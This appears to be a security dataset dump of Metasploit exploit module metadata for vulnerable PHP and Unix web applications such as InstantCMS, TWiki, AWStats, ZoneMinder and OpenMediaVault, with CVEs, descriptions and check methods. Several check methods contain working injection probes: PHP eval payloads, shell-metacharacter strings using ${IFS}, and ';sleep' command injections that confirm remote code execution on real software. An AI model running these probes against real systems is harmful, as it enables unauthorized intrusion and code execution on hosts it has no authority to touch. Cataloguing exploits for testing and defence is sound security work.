deardaniel/secdata-raw huggingface dataset:
Metasploit Module: InstantCMS 1.6 Remote PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/instantcms_exec.rb
Platform: php
Disclosure date: 2013-06-26
References: CVE-2013-10051, BID-60816

Description:
This module exploits an arbitrary PHP command execution vulnerability because of a
          dangerous use of eval() in InstantCMS in versions 1.6 and prior.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.to_s),
      'vars_get' =>
      {
        'view'	=> 'search',
        'query' => '${echo phpinfo()}'
      }
    })

    if res and res.body.match(/Build Date/)
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: phpBB viewtopic.php Arbitrary Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/phpbb_highlight.rb
Platform: unix
Disclosure date: 2004-11-12
References: CVE-2005-2086, CVE-2004-1315, OSVDB-11719, OSVDB-17613, BID-14086, BID-10701

Description:
This module exploits two arbitrary PHP code execution flaws in the
          phpBB forum system. The problem is that the 'highlight' parameter
          in the 'viewtopic.php' script is not verified properly and will
          allow an attacker to inject arbitrary code via preg_replace().

          This vulnerability was introduced in revision 3076, and finally
          fixed in revision 5166. According to the "tags" within their tree,
          this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
Metasploit Module: FusionPBX Command exec.php Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
Platform: php
Disclosure date: 2019-11-02
Authors: bcoles
References: URL-https://docs.fusionpbx.com/en/latest/advanced/command.html
Targets: Automatic (PHP In-Memory), Automatic (Unix In-Memory), Automatic (Linux Dropper)

Description:
This module uses administrative functionality available in FusionPBX
          to gain a shell.

          The Command section of the application permits users with `exec_view`
          permissions, or superadmin permissions, to execute arbitrary system
          commands, or arbitrary PHP code, as the web server user.

          This module has been tested successfully on FusionPBX version
          4.4.1 on Ubuntu 19.04 (x64).

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    if res.body.include?('FusionPBX')
      return CheckCode::Detected('The target service was detected')
    end

    CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Kimai v0.9.2 'db_restore.php' SQL Injection
Type: exploit
Path: modules/exploits/unix/webapp/kimai_sqli.rb
Platform: php
Disclosure date: 2013-05-21
References: CVE-2013-10033, EDB-25606, OSVDB-93547

Description:
This module exploits a SQL injection vulnerability in Kimai version
          0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
          execute arbitrary SQL queries. This module writes a PHP payload to
          disk if the following conditions are met: The PHP configuration must
          have 'display_errors' enabled, Kimai must be configured to use a
          MySQL database running on localhost; and the MySQL user must have
          write permission to the Kimai 'temporary' directory.

Check method (fingerprinting):
vprint_status("Checking version...")
    res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
    if not res
      vprint_error("Request timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
      version = "#{$1}"
      print_good("Found version: #{version}")
      if version >= "0.9.2" and version <= "0.9.2.1306"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      end
    end
    return Exploit::CheckCode::Safe(version ? "Version #{version} is not vulnerable" : 'The target is not vulnerable')
  end
Metasploit Module: Joomla Component Fields SQLi Remote Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb
Platform: php
Disclosure date: 2017-05-17
References: CVE-2017-8917, EDB-42033, URL-https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html

Description:
This module exploits a SQL injection vulnerability in the com_fields
          component, which was introduced to the core of Joomla in version 3.7.0.

Check method (fingerprinting):
# Request using a non-existing table
    val = sqli(rand_text_alphanumeric(rand(10) + 6), 'check')

    if val.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end
  end
Metasploit Module: OpenMediaVault rpc.php Authenticated PHP Code Injection
Type: exploit
Path: modules/exploits/unix/webapp/openmediavault_rpc_rce.rb
Platform: linux
Disclosure date: 2020-09-28
References: CVE-2020-26124, URL-https://www.openmediavault.org/?p=2797
Targets: Automatic (Linux Dropper)

Description:
This module exploits an authenticated PHP code injection
          vulnerability found in openmediavault versions before 4.1.36
          and 5.x versions before 5.5.12 inclusive in the "sortfield"
          POST parameter of the rpc.php page, because "json_encode_safe()"
          is not used in config/databasebackend.inc.
          Successful exploitation grants attackers the ability to execute
          arbitrary commands on the underlying operating system as root.

Check method (fingerprinting):
res = login(user, pass)
    unless res
      return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
    end

    if @cookie.nil?
      return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")
    end

    print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")
    version = get_target
    if version.nil?
      # We don't print out an error message here as returning this will
      # automatically cause Metasploit to print out an appropriate error message.
      return CheckCode::Safe('The target is not vulnerable')
    end

    delay = rand(7...15)
    cmd = "\").usleep(#{delay}0000).(\""
    print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")
    t1 = Time.now.to_i
    res = execute_command(cmd)
    t2 = Time.now.to_i
    unless res
      print_error("#{peer} - Connection failed whilst trying to perform the code injection.")
      return CheckCode::Detected("Detected version #{version}")
    end
    diff = t2 - t1
    if diff >= 3
      print_good("#{peer} - Response received after #{diff} seconds.")
      return CheckCode::Vulnerable("Detected vulnerable version #{version}")
    end
    print_error("#{peer} - Response wasn't received within the expected period of time.")
    return CheckCode::Safe("Version #{version} is not vulnerable")
  rescue ::Rex::Connecti
Metasploit Module: Tiki Wiki unserialize() PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb
Platform: php
Disclosure date: 2012-07-04
References: CVE-2012-0911, OSVDB-83534, BID-54298, EDB-19573, URL-http://dev.tiki.org/item4109

Description:
This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
          which could be abused to allow unauthenticated users to execute arbitrary code
          under the context of the webserver user.

          The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
          which is called with user controlled data from the 'printpages' parameter.
          The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
          class to write arbitrary PHP code to a file on the Tiki Wiki web directory.

          In order to run successfully three conditions must be satisfied (1) display_errors
          php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
          Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
          version older than 5.3.4 must be used to allow poison null bytes in filesystem related
          functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
Metasploit Module: Wordpress InfusionSoft Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_infusionsoft_upload.rb
Platform: php
Disclosure date: 2014-09-25
References: CVE-2014-6446, URL-http://research.g0blin.co.uk/cve-2014-6446/

Description:
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
          Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
          upload and remote code execution.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
    )

    if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
      return Exploit::CheckCode::Detected('The target service was detected')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: TWiki Search Function Arbitrary Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/twiki_search.rb
Platform: %w[unix linux
Disclosure date: 2004-10-01
References: CVE-2004-1037, OSVDB-11714, BID-11674, URL-https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch

Description:
This module exploits a vulnerability in the search component of TWiki.
          By passing a 'search' parameter containing shell metacharacters to a
          'Search' script, an attacker can execute arbitrary OS commands.

          Affected versions:
          - 20040901
          - 20030201
          - 20011201
          - 20001201
          - SVN up to and including revision 3224

Check method (fingerprinting):
content = rand_text_alphanumeric(16 + rand(16))
    test_file = rand_text_alphanumeric(8 + rand(8))
    test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file)
    search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH'])
    search_url << '?search='
    vprint_status("URI: #{search_url}")

    # first see if it already exists (it really shouldn't)
    res = send_request(test_url)
    if (not res) or (res.body.match(content))
      vprint_warning("The test file exists already!")
      return Exploit::CheckCode::Unknown('Could not determine the target status') # Need to try again with a different file
    end

    # try to create it
    vprint_status("Attempting to create: #{test_url}")
    search = rand_text_alphanumeric(1 + rand(8))
    search << "';echo${IFS}" + content + "${IFS}|tee${IFS}" + test_file + ".txt;#'"
    res = send_request(search_url + Rex::Text.uri_encode(search))
    if (not res) or (res.code != 200)
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # try to call it
    vprint_status("Checking if created: #{test_url}")
    res = send_request(test_url)
    if (not res) or (not res.body.match(content))
      vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 500)") unless res&.code == 500
      vprint_warning("Error with exploit request (Content doesn't match)") unless res
Metasploit Module: EGallery PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/egallery_upload_exec.rb
Platform: php
Disclosure date: 2012-07-08
References: CVE-2012-10052, OSVDB-83891, BID-54464, URL-http://web.archive.org/web/[PII_REDACTED]3244/http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html

Description:
This module exploits a vulnerability found in EGallery 1.2 By abusing the
          uploadify.php file, a malicious user can upload a file to the egallery/ directory
          without any authentication, which results in arbitrary code execution. The module
          has been tested successfully on Ubuntu 10.04.

Check method (fingerprinting):
uri = target_uri.path

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, "egallery", "uploadify.php")
    })

    if res and res.code == 200 and res.body.empty?
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: QuickTime Streaming Server parse_xml.cgi Remote Execution
Type: exploit
Path: modules/exploits/unix/webapp/qtss_parse_xml_exec.rb
Platform: unix
Disclosure date: 2003-02-24
References: OSVDB-10562, BID-6954, CVE-2003-0050

Description:
The QuickTime Streaming Server contains a CGI script that is vulnerable
          to metacharacter injection, allow arbitrary commands to be executed as root.
Metasploit Module: AWStats Totals multisort Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/awstatstotals_multisort.rb
Platform: unix
Disclosure date: 2008-08-26
References: CVE-2008-3922, OSVDB-47807, BID-30856

Description:
This module exploits an arbitrary command execution vulnerability in the
          AWStats Totals PHP script. AWStats Totals version v1.0 - v1.14 are vulnerable.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
      {
        'sort' => '"].phpinfo().exit().$a["'
      }
    }, 25)

    if (res and res.body.match(/localhost/))
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Wordpress Reflex Gallery Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb
Platform: php
Disclosure date: 2012-12-30
References: CVE-2015-4133, EDB-36374, OSVDB-88853

Description:
This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
          version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.

Check method (fingerprinting):
check_plugin_version_from_readme('reflex-gallery', '3.1.4')
  end
Metasploit Module: Trixbox langChoice PHP Local File Inclusion
Type: exploit
Path: modules/exploits/unix/webapp/trixbox_langchoice.rb
Platform: php
Disclosure date: 2008-07-09
Authors: chao-mu
References: OSVDB-50421, CVE-2008-6825, BID-30135, EDB-6026, URL-http://www.trixbox.org/

Description:
This module injects php into the trixbox session file and then, in a second call, evaluates
          that code by manipulating the langChoice parameter as described in OSVDB-50421.

Check method (fingerprinting):
# We need to ensure that this can be reached via POST
    uri = normalize_uri(datastore['URI'])
    target_code = 200

    vprint_status "Attempting to POST to #{uri}"
    response = send_request_cgi({ 'uri' => uri, 'method' => 'POST' })

    unless defined? response
      vprint_error 'Server did not respond to HTTP POST request'
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    code = response.code

    unless code == target_code
      vprint_error "Expected HTTP code #{target_code}, but got #{code}."
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    vprint_status "We received the expected HTTP code #{target_code}"

    # We will need the cookie PHPSESSID to continue
    cookies = response.get_cookies

    # Make sure cookies were set
    if defined? cookies and cookies =~ PHPSESSID_REGEX
      vprint_good "We were successfully sent a PHPSESSID of '#{$1}'"
    else
      vprint_error 'The server did not send us the cookie we were looking for'
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # Okay, at this point we're just being silly and hackish.
    unless response.body =~ /langChoice/
      vprint_error 'The page does not appear to contain a langChoice field'
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end

    # XXX: Looking for a good way of determine if it is NOT trixbox
    # unless response.body.match(/trixbox - User Mode/)
Metasploit Module: Ajenti auth username Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb
Platform: python
Disclosure date: 2019-10-14
References: CVE-2019-25066, EDB-47497

Description:
This module exploits a command injection in Ajenti == 2.1.31.
          By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/view/login/normal'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown('Could not determine the target status')
    end

    unless res.body =~ /ajenti/i
      return CheckCode::Safe('The target is not vulnerable')
    end

    version = res.body.scan(/'ajentiVersion', '([\d\.]+)'/).flatten.first

    if version
      vprint_status "Ajenti version #{version}"
    end

    if version == '2.1.31'
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    end

    CheckCode::Detected("Detected version #{version}")
  end
Metasploit Module: SugarCRM unserialize() PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb
Platform: php
Disclosure date: 2012-06-23
References: CVE-2012-0694, OSVDB-83361, EDB-19381, URL-http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/

Description:
This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
          which could be abused to allow authenticated SugarCRM users to execute arbitrary
          code with the permissions of the webserver.

          The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
          script, which is called with user controlled data from the 'current_query_by_page'
          parameter. The exploit abuses the __destruct() method from the SugarTheme class
          to write arbitrary PHP code to a 'pathCache.php' on the web root.
Metasploit Module: Wordpress Download Manager (download-manager) Unauthenticated File Upload
Type: exploit
Path: modules/exploits/unix/webapp/wp_downloadmanager_upload.rb
Platform: php
Disclosure date: 2014-12-03
References: URL-http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html

Description:
The WordPress download-manager plugin contains multiple unauthenticated file upload
          vulnerabilities which were fixed in version 2.7.5.

Check method (fingerprinting):
check_plugin_version_from_readme('download-manager', '2.7.5')
  end
Metasploit Module: ZoneMinder Snapshots Command Injection
Type: exploit
Path: modules/exploits/unix/webapp/zoneminder_snapshots.rb
Platform: unix
Disclosure date: 2023-02-24
References: CVE-2023-26035
Targets: nix Command, Linux (Dropper)

Description:
This module exploits an unauthenticated command injection
          in zoneminder that can be exploited by appending a command
          to the "create monitor ids[]"-action of the snapshot view.
          Affected versions: < 1.36.33, < 1.37.33

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )
    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    unless res.body.include?('ZoneMinder')
      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
    end

    csrf_magic = get_csrf_magic(res)
    # This check executes a sleep-command and checks the response-time
    sleep_time = rand(5..10)
    data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'data' => data.to_s,
        'keep_cookies' => true
      )
    end
    return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res

    print_status("Elapsed time: #{elapsed_time} seconds.")
    if sleep_time < elapsed_time
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end
Metasploit Module: Foswiki MAKETEXT Remote Command Execution
Type: exploit
Path: modules/exploits/unix/webapp/foswiki_maketext.rb
Disclosure date: 2012-12-03
References: CVE-2012-6329, OSVDB-88410, URL-http://foswiki.org/Support/SecurityAlert-CVE-2012-6330

Description:
This module exploits a vulnerability in the MAKETEXT Foswiki variable. By using
          a specially crafted MAKETEXT, a malicious user can execute shell commands since the
          input is passed to the Perl "eval" command without first being sanitized. The
          problem is caused by an underlying security issue in the CPAN:Locale::Maketext
          module.  Only Foswiki sites that have user interface localization enabled
          (UserInterfaceInternationalisation variable set) are vulnerable.

          If USERNAME and PASSWORD aren't provided, anonymous access will be tried.
          Also, if the FoswikiPage option isn't provided, the module will try to create a
          random page on the SandBox space. The modules has been tested successfully on
          Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware image.

Check method (fingerprinting):
@base = target_uri.path
    @base << '/' if @base[-1, 1] != '/'

    res = send_request_cgi({
      'uri' => "#{@base}System/WebHome"
    })

    if not res or res.code != 200
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    if res.body =~ /This site is running Foswiki version.*Foswiki-(\d\.\d\.\d)/
      version = $1
      print_status("Version found: #{version}")
      if version <= "1.1.6"
        return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
      else
        return Exploit::CheckCode::Detected("Detected version #{version}")
      end
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WordPress RevSlider File Upload and Execute Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/wp_revslider_upload_execute.rb
Platform: php
Disclosure date: 2014-11-26
References: CVE-2014-9735, OSVDB-115118, EDB-35385, URL-https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/

Description:
This module exploits an arbitrary PHP code upload vulnerability in the
          WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
          and prior. The vulnerability allows for arbitrary file upload and remote code execution.

Check method (fingerprinting):
release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
    check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
  end